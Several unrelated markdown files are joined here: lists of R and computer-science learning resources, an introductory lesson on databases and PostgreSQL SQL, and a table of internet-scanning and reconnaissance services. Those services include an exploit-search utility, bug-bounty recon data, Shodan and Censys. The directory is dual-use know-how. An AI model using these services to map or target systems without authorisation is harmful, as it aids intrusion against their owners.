- [Data Science with Tom](https://www.youtube.com/channel/UCb5aI-GwJm3ZxlwtCsLu78Q) - Topics include time series, analyzing word relationships with ggraph and tidytext, and tidymodels.
- [David Jablonski](https://www.youtube.com/channel/UCzE7zgPikKvVUJPBKrndHMA) - The UC Berkeley R Bootcamp playlists include videos on R basics, handling data, performing calculations, programming, graphics, workflows, and statistics.
- [David Robinson](https://www.youtube.com/channel/UCeiiqmVK07qhY-wvg3IZiZQ) - Topics include graphing for EDA, data manipulation, animated mapping, visualization, text mining, time series, forecasting, regression, bootstrapping, package development, network graphs, ANOVA, JSON, simulation, survival analysis, and tidymetrics. Click [here](https://github.com/dgrtwo/data-screencasts/tree/master/screencast-annotations) for detailed TidyTuesday screencast annotations.
- [Dean Attali](https://www.youtube.com/c/DAattali/videos) - Shiny, including several videos on debugging Shiny.
- [Dragonfly Statistics](https://www.youtube.com/c/DragonflyStatistics/videoss) - Topics include numerical computing, generating random walks, markov chains, encoding categorical variables, probability, correlation plots, feature engineering, time series, binary classifiers, models, data.table, confusion matrices, machine learning, geocoding, summary statistics, and simulation.
- [IDG TECHtalk](https://www.youtube.com/playlist?list=PL7D2RMSmRO9JOvPC1gbA8Mc3azvSfm8Vv) - Do More with R playlist includes tutorials on shiny, data.table, getting API data, using Git and Github with R, writing your own packages, run Python in R code, RStudio addins and keyboard shortcuts, dashboards and flexdashboards.
- [Julia Silge](https://www.youtube.com/channel/UCTTBgWyJl2HrrhQOOc710kA) - Topics include predictive text modeling, impute missing data, tidymodels, sentiment analysis, multinomial classification, principal component analysis, data preprocessing and resampling, and multinomial classification.
- [Lander Analytics](https://www.youtube.com/channel/UC2-hKemnrmVCH_29duyJ26A/videos) - In-depth talks by different experts on a wide variety of topics.
- [MarinStatsLectures](https://www.youtube.com/c/marinstatlectures/featured) - Topics include descriptive statistics, ANOVA, bootstrapping, linear regression, bivariate analysis, and probability distributions.
- [Numyard](https://www.youtube.com/c/TheLearnR/videos) - Topics include working with dataframes, for loops, basic math, vectors, lists, creating functions, data types, and random sampling.
- [Richard Webster](https://www.youtube.com/channel/UC5ktyacv_aPSBmKB7uX5Piw/videos) - Topics include the paste function, the apply family of functions, while and for loops, conditional statements, visualization, removing NAs, and combining data.
- [RichardOnData](https://www.youtube.com/playlist?list=PLOKCg4WX8ZG4nboHnOgA8PJxGWnO4csiZ) - The R playlist includes videos on manipulating data with dplyr, visualizing data with ggplot2 and ggThemeAssist, data types and structures, important base r functions, handling datetimes with lubridate, conquering factors with forcats, manipulating text with stringr.
- [Shiny Developer Series](https://www.youtube.com/c/ShinyDeveloperSeries/videos) - The goals of the Shiny Developer Series are to showcase the innovative applications and packages in the ever-growing Shiny ecosystem, as well as the brilliant developers behind them!
- [Simplilearn](https://www.youtube.com/playlist?list=PLEiEAq2VkUUKAw0aAJ1W4jpZ1q9LpX4yG) - The R Programming for Beginners playlist includes videos on data science, charting, data visualization, algorithms, business analytics, regression, random forest, SVM, clustering, time series, modeling, and analytical techniques.
- [Statistics Globe](https://www.youtube.com/channel/UCyHEww8_SCdxZvEnkCfi55w) - A collection of short but detailed tutorials on how to work through common problems you will face while using R. Topics include data formatting, reordering data, strings, and ggplot2.
- [StatistikinDD](https://www.youtube.com/c/StatistikinDD/featured) - Playlists on Efficient R Programming (e. g. running R code in parallel), Visualization, Regression Analyses.
- [StatQuest with Josh Starmer](https://www.youtube.com/playlist?list=PLblh5JKOoLUJJpBNfk8_YadPwDTO2SCbx) - The Statistics and Machine Learning in R playlist deals with principal component analysis, random forest, regression, ROC and AUC, and ridge, lasso and elastic-net.
- [TidyX](https://www.youtube.com/channel/UCP8l94xtoemCH_GxByvTuFQ) - TidyX is a screen cast where the hosts select code from the TidyTuesday project and go through their code line-by-line, explaining what they did and how the functions they used work. They also break down the visualizations they create and talk about how to apply similar approaches to other data sets. The objective is to help more people learn R and get involved in the TidyTuesday community.
## Contributing
- Your contributions are always welcome! Please visit our [contributing.md](https://github.com/iamericfletcher/r-learning-resources/blob/main/contributing.md) to learn how to contribute to this list.
[Back to Top](#contents)
|
# Total Knowledge Base
## CS
- [Algo]()
- [Datastructures]()
- [Operating System]()
- [Computer Vision]()
- [Artificial Intelligence]()
- [carnd](../udacity/nd/carnd)
- [ML](./ml)
- [Data Analyst](../udacity/nd/data-analyst-nd)
- DEV
- Languages
- c
- cpp
- c#
- go
- haskell
- html+css
- java
- javascript
- python
- [conda-cheat-sheet](/k2e/dev/languages/python/conda-cheat-sheet.md)
- r
- scala
## General Computer Science Resources
- [Open Source Society's Computer Science Curriculum](https://github.com/open-source-society/computer-science)
- [Google Guide to Technical Development](https://www.google.com/about/careers/students/guide-to-technical-development.htm)
## Code Practice Problems
- [Project Euler](https://projecteuler.net/) - Nice in that it is not aimed at any particular language.
- [Coding Bat](http://codingbat.com/java) - Beginner to intermediate programming puzzles in Python and Java.
- [HackerRank](https://www.hackerrank.com/dashboard) - Coding puzzles for all! Some cool tutorials too.
## Math Resources
- [Khan Academy](http://www.khanacademy.org/) is excellent for Calculus and Linear Algebra.
- [Paul's Online Math Notes](http://tutorial.math.lamar.edu/) covers Calculus I-III. Also differential equations if that's what you're into.
- [Shea](https://github.com/sheaftw). I've been tutoring calculus, statistics and linear algebra for ~5 years. Feel free to ask me questions!
## Machine Learning Resources
- [Introduction to Statistical Learning](http://www-bcf.usc.edu/~gareth/ISL/) uses R but is an excellent mathematical introduction to common models used in data science. Requires intermediate statistics and simple linear algebra (matrix manipulation).
## Awesome Books
- [Cracking the Coding Interview](https://www.amazon.com/Cracking-Coding-Interview-Programming-Questions/dp/0984782850) for pwning your interviewers when the time comes.
https://github.com/BobbyRaduloff/CSStudyGroupResources/blob/b2920f6269ae823405d246eb4653f098971da4ad/Resources.md |
# Databases
## Learning Objectives
#### Domain Modeling & ERD
- Draw an Entity Relationship Diagram (ERD) with crow's foot notation
- Identify and diagram one-to-one, one-to-many and many-to-many relationships between data entities
- Distinguish between entities and attributes
- Discuss data normalization needs and techniques
#### Basics of Databases, and SQL
**Concepts**
- Explain what a database is and why you would use one
- Explain how a database, a database management system (DBMS) and SQL relate to one another
- Describe a database schema and how it relates to tables, rows and columns
- Identify the differences between relational and non-relational databases
**Mechanics**
- Create a new PostgreSQL database
- Set up a PostgreSQL database schema with a saved SQL file
- Seed a PostgreSQL database with a saved SQL file
- Execute basic SQL commands to execute CRUD actions in a database
#### Relationships in SQL / SQL JOINs
- Define what a foreign key is
- Describe how to represent a one-to-many relationship in SQL database
- Explain how to represent one-to-one and many-to-many relationships in a SQL DB
- Distinguish between keys, foreign keys, and indexes
- Describe the purpose of the JOIN
- Use JOIN to combine tables in a SELECT
- Describe what it means for a database to be normalized
-------
# Domain Modeling & ERDs
## Learning Objectives
- Draw an Entity Relationship Diagram (ERD)
- Identify and diagram one-to-one, one-to-many and many-to-many relationships between data entities
- Distinguish between entities and attributes
- Discuss data normalization needs and techniques
## What are Databases?
A database is a place where information gets stored in a hard drive - or distributed across multiple hard drives - on a computer somewhere. Much like we've been creating and storing data, here and there, a database represents a collection of individual pieces of data stored in a highly structured and searchable way; they represent a model of reality, which why we call them models in MVC.
Inside a database, we do basic actions like create, read, update, and destroy data – CRUD!
In modern web development, there are different categories of databases – SQL, NoSQL, Key/Value. We're focusing on SQL because historically that's the father to the others.
SQL stands for Structured Query Language, and it's a language used to manage and get information from considered what are considered "relational" databases.
### Relational databases
We call them "relational" because different models - or pieces of data - can be linked to other models, aka "related". Relational DB's store data in a "table" so think of it like a spreadsheet. The table holds all the data for one model, while the columns define what attributes that model has; we often call columns "attributes" or "fields". A row is an instance (remember instantiation!) like a unique copy of the blueprint that is our model, often called a record.
- The majority of the databases people use everyday are relational databases, meaning they associate related pieces of data together, even if they are stored in different places (estimated to be around 79% in 2014)
- However, a fairly recent (< 10 years) development in databases is non-relational servers gaining market share. This is due to an increase in complexity of the data we need to structure, and the need for performance when operating on the DB
- SQL vs NoSQL
- SQL is a relational database system, meaning it can store different types of information in multiple tables that are related together
- NoSQL is an alternative to SQL that stores information in key/value pairs. There is no concept of "tables" in NoSQL, just different values that can be accessed by certain keys
#### How is a relational database typically organized?
- Tables
- Columns are for fields or attributes of the content you're storing
- Rows are individual records of data
- A database schema is the definition of how the database will be organized.
- Designing the database schema is one of the most important parts of your application, because it requires you to be forward thinking
- **Normalization**
- Normalization is the process of efficiently organizing data in a database. Essentially this is DRY applied to database schema.
- There are two goals of the normalization process:
1. eliminating redundant data (for example, storing the same data in more than one table)
2. ensuring data dependencies make sense (only storing related data in a table)
- Both of these are worthy goals as they reduce the amount of space a database consumes and ensure that data is logically stored.
- **QUESTION**: Why should we use normalization?
- Answer: Same reason we use DRY in other places. Less typing, saves time to do all operations related to that piece of data, less points of failure
- Benefits:
- Eliminate data redundancy
- Improve performance
- Query optimization
- Faster update due to less number of columns in one table
- Index improvement
## Database Design
Developers employ **user stories** to clarify the features we need for a good user experience. What is a user story?
> User stories are short, simple descriptions of a feature told from the perspective of the person who desires the new capability, usually a user or customer of the system. They typically follow a simple template:
>
> As a `type of user`, I want `some goal` so that `some reason`.
We use them to prioritize order and scope. This morning, we will identify the information required to support those user stories. We refer to this as the **Domain** or **Domain Model**. The Domain Model specifies the data and the relationships between this data. We use it to decide what needs to be persisted.
## Domain Modeling
Domain Modeling allows us to outline the data values that we need to persist.
- We only consider the attributes of our data, not the behavior of our application
- A domain model in problem solving and software engineering is a conceptual
model of all items and topics related to a specific problem
- It describes the various entities, their attributes, roles and relationships,
plus the constraints that govern the problem domain
The big takeaway here is that domain modeling **does not describe solutions to the problem**. Instead, it defines how our data is structured.
### ERDs
An ERD -- or **Entity Relationship Diagram** -- is a tool we use to visualize and describe the data relating to the major entities that will exist in our programs.
- Ultimately lends itself to planning out and creating our database table structure
- It allows us to outline the data in our application, not the behavior
## Let's Draw on The Board
Let's say we're making an app for a library and look at what some tables would look like (e.g. what information or attributes would be associated with each table?)
- What would the table for a book look like?
- What would the table for an author look like?
- What would the table for a category look like?
### Relationships
Relationships happen when we start seeing multiple duplicative information or when one object needs to "connect" to another object.
> 
There are 3 different kinds of Relationships:
**One-to-one:** A Country has one Capital City
- not frequently used, but important to know it's an option
- imagine a Library table ```has_one``` location, and a location ```belongs_to``` a specific library - that lets us look up solely by location, and see the connected library
- often, in situations like that, you can make the location an attribute of the library, but when a location has, for example, multiple fields (address 1, address 2, state, zip, etc.), it might make sense to create another table for addresses and set up a ```has_one``` relationship
- Usually denotes that one entity should be an attribute of the other
**One-to-many:** An author ```has_many``` books, but a book ```belongs_to``` only one author
- The most common relationship you will define in WDI.
**Many-to-many:** A book probably "has many" categories, and a category also probably "has many" books
- also very frequent
- Requires a join table.
ERDs get more complex the larger your application becomes. Nevertheless, they are still a useful tool when planning and developing.
**In Summary..**
- The squares represent our entities and are filled with the attributes associated with our entity.
- The arrows between the squares indicate how the entities relate to one another.
--------
# Intro to SQL
## Learning Objectives
- Explain how a DBMS, a database, and SQL relate to one another
- Describe a database schema and how it relates to tables, rows and columns
- Create a new PostgreSQL database
- Execute basic SQL commands to execute CRUD actions in a database
- Explain what "auto-incrementing primary key" means for a database table
- Explain what a field constraint is
- List the common SQL data types and when you would use them
- Set up a foreign key for a one-to-many relationship
- Explain SQL syntax and conventions (uppercase)
## What's a Relational Database?
The most popular type of database is a **relational** database.
How do they work?
**Data is stored in tables.**
- These tables are organized by columns and rows, much like a spreadsheet.
- Tables are named according to what they model (e.g., `artists`, `songs`).
- In the case of `artists`, each row represents one artist.
- Each column is called an **attribute** or **field**, such as `id`, `title`, `birth_year`.
**Can relate data between tables**
- Hence the name *relational* database.
- We can relate rows in the `songs` table to rows in the `artists` table.
- We use a `key` to do this, which is a field that is unique for each row in a table.
- The key is often represented using an `id`, which is a unique identifier for each entry in a table.
**Communicate via SQL (Structured Query Language)**
- SQL is a database language used specifically for relational databases.
- This is in contrast to non-relational databases
## What is SQL?
SQL stands for Structured Query Language, and it is a language universally used and adapted to interact with relational databases. When you use a SQL client and connect to a relational database that contains tables with data, the scope of what you can do with SQL commands includes:
- Inserting data
- Querying or retrieving data
- Updating or deleting data
- Creating new tables and entire databases
- Control permissions of who can have access to our data
Note that all these actions depend on what the database administrator sets for user permissions: a lot of times, as an analyst, for example, you'll only have access to retrieving company data; but as a developer, you could have access to all these commands and be in charge of setting the database permissions for your web or mobile application.
### Types of Relational Databases
A database is just a repository to store the data and you need to use systems that dictate how the data will be stored and as a client to interact with the data. We call these systems "Database Management Systems", they come in _many_ forms:
- MySQL
- SQLite
- PostgreSQL (what we'll be using!)
- pgAdmin: GUI for postgresql
...and all of these management systems use SQL (or some adaptation of it) as a language to manage data in the system.
They are all similar in that they use SQL, but they do have different features.
MySQL claims to be "the most popular open-source database," while PostgreSQL claims in response to be "the most advanced open-source database". It's true that in most tests, Postgres comes out ahead in terms of speed and has many features MySQL lacks, such as true full-text search and handling geo-data.
If you're interested in pros and cons, check out this [article comparing MySQL, Postgres, and SQLite](https://www.digitalocean.com/community/tutorials/sqlite-vs-mysql-vs-postgresql-a-comparison-of-relational-database-management-systems).
### Terminology
* **Database** - The actual set of data being stored. We may create multiple databases on our computer, usually one for each application.
* **Database Language** - The language used to interact with a database. With relational databases, that is SQL.
* **Database Management System** - The software that lets a user interact (query) the data in a database. Examples are PostgreSQL, MySQL, MongoDB, etc.
* **Database CLI** - A tool offered by most DBMSs that allows us to query the database from the command line. For PostgreSQL, we'll use `psql`.
## Exploring Postgres
We'll use `psql`, which is a REPL for Postgres, a type of SQL database we have installed on our computers, as our primary means of interacting with our databases. Later on we'll use ruby or server-side JS programs to do so in our programs.
Here's a quick demo. Following along is optional.
Once Postgres is running, open your terminal and type:
$ psql
You should see something like: `your_user_name=#`
Great! You've entered the PostgreSQL equivalent of node or PRY: now, you can execute PSQL commands, or PostgreSQL's version of SQL.
```sql
help -- general help
\? -- help with psql commands
\h -- help with SQL commands
\l -- Lists all databases
\q -- quits
\d -- Lists all tables
\d+ table_name -- more info shown
```
In short...
- Backlash commands (e.g. `\l` ) are commands to navigate psql. These are psql-specific.
- Everything else is SQL. The SQL is what actually interacts with the database.
> If you're curious as to where exactly your databases are being stored locally, enter `SHOW data_directory;` while in psql.
### Connect, Create a Database - Codealong
Let's make a database! Let's call it database_name:
```sql
CREATE DATABASE database_name;
CREATE DATABASE
```
The semicolon is important! Be sure to always end your SQL queries and commands with semicolons.
To delete or drop that table:
```sql
DROP DATABASE database_name;
DROP DATABASE
```
Now when you list out the databases, it's gone.
--------
Let's use these commands, but before we can, we must create a database. Let's call it wdi6:
```sql
CREATE DATABASE wdi6;
CREATE DATABASE
```
Now let's _use_ that database we just created by connecting to it:
```sql
\c wdi6;
You are now connected to database "wdi6" as user "your_user_name".
```
## Creating a Table
### Schema
Every application's database will have one or more tables. You will recall, each table stores information about a particular model (e.g., `artists`, `songs`).
Each table has a **schema**, which defines what columns it has. For each column the schema defines...
- The column's name.
- the column's data type.
- Any constraints for that column.
### Common Data Types
Here are some common data types for SQL DBs. They are all, for the most part, things you've seen before...
- Boolean
- Integer
- Float
- Text / VARCHAR
- VARCHAR is short, TEXT is long, CHAR(#) lets you set character length
- NULL
- Date
- Time
- Serial
- [And many more...](http://www.postgresql.org/docs/9.3/interactive/datatype.html)
### Constraints
Constraints act as limits on the data that can go in a column.
- e.g., `NOT NULL` and `UNIQUE`.
- primary keys
- foreign keys
- unique
- [And many more...](http://www.postgresql.org/docs/8.1/static/ddl-constraints.html)
## Performing CRUD actions with SQL
CRUD stands for the most basic interactions we want to have with any database:
Create, Read, Update and Destroy.
The most common SQL commands correspond to these 4 actions...
* `INSERT` -> Create a row
* `SELECT` -> Read / get information for rows
* `UPDATE` -> Update a row
* `DELETE` -> Destroy a row
### INSERT Data into Table
Now let's finally _insert_ some data into that table - remember what cannot be left blank!
`INSERT` adds a row to a table... We'll insert five students, Jack, Jill, John, Jackie, and Jimbo. The syntax is as follows:
```sql
INSERT INTO table_name (column1, column2,...) VALUES (value1,value2,...);
```
Let's do it for Jack, together:
```sql
INSERT INTO students VALUES (1, 'Jack Sparrow', 28, '50 Main St, New York, NY');
```
### SELECT Data from our Table
So now that we have this data saved, we're going to need to access it at some point, right? We're going to want to _select_ particular data points in our dataset provided certain conditions. The PostgreSQL SELECT statement is used to fetch the data from a database table which returns data in the form of result table. These result tables are called result-sets. The syntax is just what you would have guessed:
```sql
SELECT column1, column2, columnN FROM table_name;
```
```sql
-- select all columns from all rows
SELECT * FROM students;
-- select only some columns, from all rows
SELECT name, age FROM students;
-- select rows that meet certain criteria
SELECT * FROM students WHERE name = 'Jack Sparrow';
```
#### Getting more specific
Just like Ruby or JavaScript, all of our comparison and boolean operators can do work for us to select more specific data.
- The `WHERE` clause: To use the where clause, we need a field to compare, an operator specifying the type of comparison to be made, and a value that represents our criterion. EX: I want the names of all the students who aren't dinosaurs (old):
```sql
wdi=# SELECT name FROM students WHERE age < 100;
name
----------------
Jack Sparrow
Jilly Cakes
Johnny Bananas
Slaggy McRaggy
(4 rows)
```
- `ORDER BY`: How about the names of students ordered by age? `ASC`
```sql
wdi=# SELECT name, age FROM students ORDER BY age;
name | age
----------------+-----
Johnny Bananas | 25
Jack Sparrow | 28
Slaggy McRaggy | 28
Jilly Cakes | 30
Jackie Lackie | 101
(5 rows)
```
- How about reversed? `DESC`
```sql
wdi=# SELECT name, age FROM students ORDER BY age DESC;
name | age
----------------+-----
Jackie Lackie | 101
Jilly Cakes | 30
Jack Sparrow | 28
Slaggy McRaggy | 28
Johnny Bananas | 25
(5 rows)
```
- The `LIKE` operator gets used in a WHERE clause: How about those who live in Fivetowns? We can find strings within strings too! `%` is a wildcard character that matches zero or more missing letters in the pattern.
```sql
wdi=# SELECT * FROM students WHERE address LIKE '%Fivetowns%';
id | name | age | address
----+----------------+-----+----------------------------------------------------
3 | Johnny Bananas | 25 | 555 Five St, Fivetowns, NY
4 | Jackie Lackie | 101 | 2 OldForThis Ct, Fivetowns, NY
(2 rows)
```
- `LIMIT` is a clause that lets you specify the maximum number of rows the result set will have.
```sql
SELECT * FROM wdi6 LIMIT 3;
```
- `COUNT` takes the name of a column(s) as an argument and counts the number of rows where the value(s) is not NULL.
```sql
SELECT count(*) FROM wdi6;
```
- `OFFSET` allows us to exclude the first set of records.
```sql
SELECT * FROM wdi6 LIMIT 10 OFFSET 3;
```
### UPDATE data
Ok, there are some mistakes we've made to our database, but that's ok because we can update it or delete information we don't like. Let's start by adding one more student:
```sql
INSERT INTO students VALUES (6, 'Miss Take', 500, 'asdfasdfasdf');
```
```sql
UPDATE students SET address = '100 Main St., New York, NY' where address = 'asdfasdfasdf';
SELECT * FROM students;
id | name | age | address
----+----------------+-----+----------------------------------------------------
1 | Jack Sparrow | 28 | 50 Main St, New York, NY
2 | Jilly Cakes | 30 | 123 Webdev Dr. Boston, MA
3 | Johnny Bananas | 25 | 555 Five St, Fivetowns, NY
4 | Jackie Lackie | 101 | 2 OldForThis Ct, Fivetowns, NY
5 | Slaggy McRaggy | 28 |
6 | Miss Take | 500 | 100 Main St., New York, NY
(6 rows)
```
```sql
DELETE FROM students where name = 'Miss Take';
SELECT * FROM students;
id | name | age | address
----+----------------+-----+----------------------------------------------------
1 | Jack Sparrow | 28 | 50 Main St, New York, NY
2 | Jilly Cakes | 30 | 123 Webdev Dr. Boston, MA
3 | Johnny Bananas | 25 | 555 Five St, Fivetowns, NY
4 | Jackie Lackie | 101 | 2 OldForThis Ct, Fivetowns, NY
5 | Slaggy McRaggy | 28 |
(5 rows)
```
### DELETE
`DELETE` removes rows from a table...
```sql
DELETE FROM authors WHERE name = 'Adam B.';
```
### SQL Syntax
- All statements end in a semicolon.
- Whitespace doesn't matter.
- Uppercasing!
- Always use single quotes when typing out string values.
- [Ye olde style guide.](http://leshazlewood.com/software-engineering/sql-style-guide/)
-------
# Relationships in SQL / SQL JOINs
## Learning Objectives
- Define what a foreign key is
- Describe how to represent a one-to-many relationship in SQL database
- Explain how to represent one-to-one and many-to-many relationships in a SQL DB
- Distinguish between keys, foreign keys, and indexes
- Describe the purpose of the JOIN
- Use JOIN to combine tables in a SELECT
- Describe what it means for a database to be normalized
## Introduction
One of the key features of relational databases is that they can represent relationships between rows in different tables.
Going back to our library example, we have two tables: `books` and `authors`. Our goal now is to somehow indicate the relationship between a book and an author. In this case, that relationship indicates who wrote the book.
You can imagine that we'd like to use this information in a number of ways, such as...
- Getting the author information for a given book.
- Getting all books written by a given author.
- Searching for books based on attributes of the author (e.g., all books written by a Chinese author).
## One-to-Many (10 minutes / 2:20)
How might we represent this information in our database? For this example,
let's assume that each book has only one author (even though that's not always
the case in the real world.)
#### Option 1 - Duplicate Info (Wrong :x:)
**authors**
- name
- nationality
- birth_year
**books**
- title
- pub_date
- author_name
- author_nationality
- author_birth_year
<details>
<summary><strong>What's the problem here?</strong></summary>
> Duplication, difficult to keep data in sync.
</details>
#### Option 2 - Array of IDs (Wrong :x:)
**authors**
- name
- nationality
- book_ids
**books**
- title
- pub_date
<details>
<summary><strong>What's the problem here?</strong></summary>
> Parsing list, can't index (for speed!)
</details>
#### Option 3 (Correct! :white_check_mark:)
**authors**
- name
- nationality
**books**
- title
- pub_date
- author_id
## Bonus: Joins
To SELECT information on two or more tables at ones, we can use a JOIN clause.
This will produce rows that contain information from both tables. When JOINing
two or more tables, we have to tell the database how to 'match up' the rows.
(e.g. to make sure the author information is correct for each book).
This is done using the ON clause, which specifies which properties to match.
### Writing SQL JOINS
```sql
SELECT id FROM authors where name = 'J.K. Rowling';
SELECT * FROM books where author_id = 2;
SELECT * FROM books JOIN authors ON books.author_id = authors.id;
SELECT * FROM books JOIN authors ON books.author_id = authors.id WHERE authors.nationality = 'United States of America';
```
## Aside: Less Common Joins
There are actually a number of ways to join multiple tables with `JOIN`, if
you're really curious, check out this article:
[A visual explanation of SQL Joins](http://blog.codinghorror.com/a-visual-explanation-of-sql-joins/)
## Many-to-Many Relationships
Consider if we wanted to add a categories model (e.g. fiction, non-fiction,
sci-fi, romance, etc). Books can belong to many categories (i.e. a book might be
a fiction/romance, or a history/non-fiction). And a given category might have
many books.
Because of this, we can't put a book_id column on categories, nor a category_id
column on books, either way, we might have more than one value in that field
(a no-no in terms of performance).
To solution is to create an additional table, which stores just the
relationships between the two tables. Such a table is called a join table, and
contains two foreign key columns.
In our example, we might create a table called 'categorizations', and it would
have a book_id and category_id. Each row would represent a specific book's
association with a specific category.
|
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<tr><td><a href='https://in.scanfactory.io/cvemon.html'>CVEMON</a><br><a href='https://twitter.com/scanfactory_io'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/scanfactory-io'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>CVE Exploits Search Utility</td><td>GLOBAL</td><td>exploit,vulnerability</td></tr>
<tr><td><a href='https://www.subdomain.center'>Subdomain Center</a><br><a href='https://twitter.com/scanfactory_io'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/scanfactory-io'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>ARPSyndicate's Subdomain Center API</td><td>GLOBAL</td><td>network</td></tr>
<tr><td><a href='https://mega.nz/folder/KXJyQKSA#pRHtZzEO4mxqKDgfzNK8iA'>BBR Dataset</a><br><a href='https://twitter.com/scanfactory_io'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/scanfactory-io/'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Recon data for public bug bounty programs.</td><td>GLOBAL</td><td>network,web</td></tr>
<tr><td><a href='https://shodan.io'>Shodan</a><br><a href='https://twitter.com/shodanhq'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://mastodon.shodan.io'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/mastodon-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/mastodon.png'><img height='20'></picture> </a><a href='https://www.facebook.com/shodan.io'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/shodan'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Search Engine that lets users search for various types of servers connected to the internet using a variety of filters.</td><td>GLOBAL</td><td>web,network,vulnerability,image</td></tr>
<tr><td><a href='https://forecast.zietrad.app'>ZieTRAD Forecast</a><br></td><td>Stock, Crypto, Commodity, Index & Currency Forecasts.</td><td>GLOBAL</td><td>stocks,crypto,economics</td></tr>
<tr><td><a href='https://trends.zietrad.app'>ZieTRAD Trends</a><br></td><td>Popular Trends based on the News of Global Markets.</td><td>GLOBAL</td><td>stocks,crypto,economics</td></tr>
<tr><td><a href='https://chaos.projectdiscovery.io'>Chaos Dataset</a><br><a href='https://twitter.com/pdiscoveryio'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>This project is meant to enhance research and analyse changes around DNS for better insights.</td><td>GLOBAL</td><td>network</td></tr>
<tr><td><a href='https://search.censys.io'>Censys Search</a><br><a href='https://twitter.com/censysio'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Censys helps organizations, individuals, and researchers find and monitor every server on the Internet to reduce exposure and improve security.</td><td>GLOBAL</td><td>web,network</td></tr>
<tr><td><a href='https://www.nerdydata.com'>NerdyData</a><br><a href='https://twitter.com/nerdydata'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td> Get a list of websites that use certain technologies, plus their company and spend data. Perfect for lead generation, market analysis, and competitive research.</td><td>GLOBAL</td><td>web</td></tr>
<tr><td><a href='https://publicwww.com'>PublicWWW</a><br></td><td>Find any alphanumeric snippet, signature or keyword in the web pages HTML, JS and CSS code.</td><td>GLOBAL</td><td>web,code</td></tr>
<tr><td><a href='https://searchcode.com'>SearchCode</a><br><a href='https://twitter.com/boyter'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Search 75 billion lines of code from 40 million projects</td><td>GLOBAL</td><td>code</td></tr>
<tr><td><a href='https://www.similarsites.com'>SimilarSites</a><br><a href='https://twitter.com/similarsites'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Easily Explore alternative websites</td><td>GLOBAL</td><td>web,image</td></tr>
<tr><td><a href='https://netlas.io'>Netlas</a><br><a href='https://twitter.com/netlas_io'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Internet intelligence apps that provide accurate technical information on IP addresses, domain names, websites, web applications, IoT devices, and other online assets.</td><td>GLOBAL</td><td>web,network,vulnerability</td></tr>
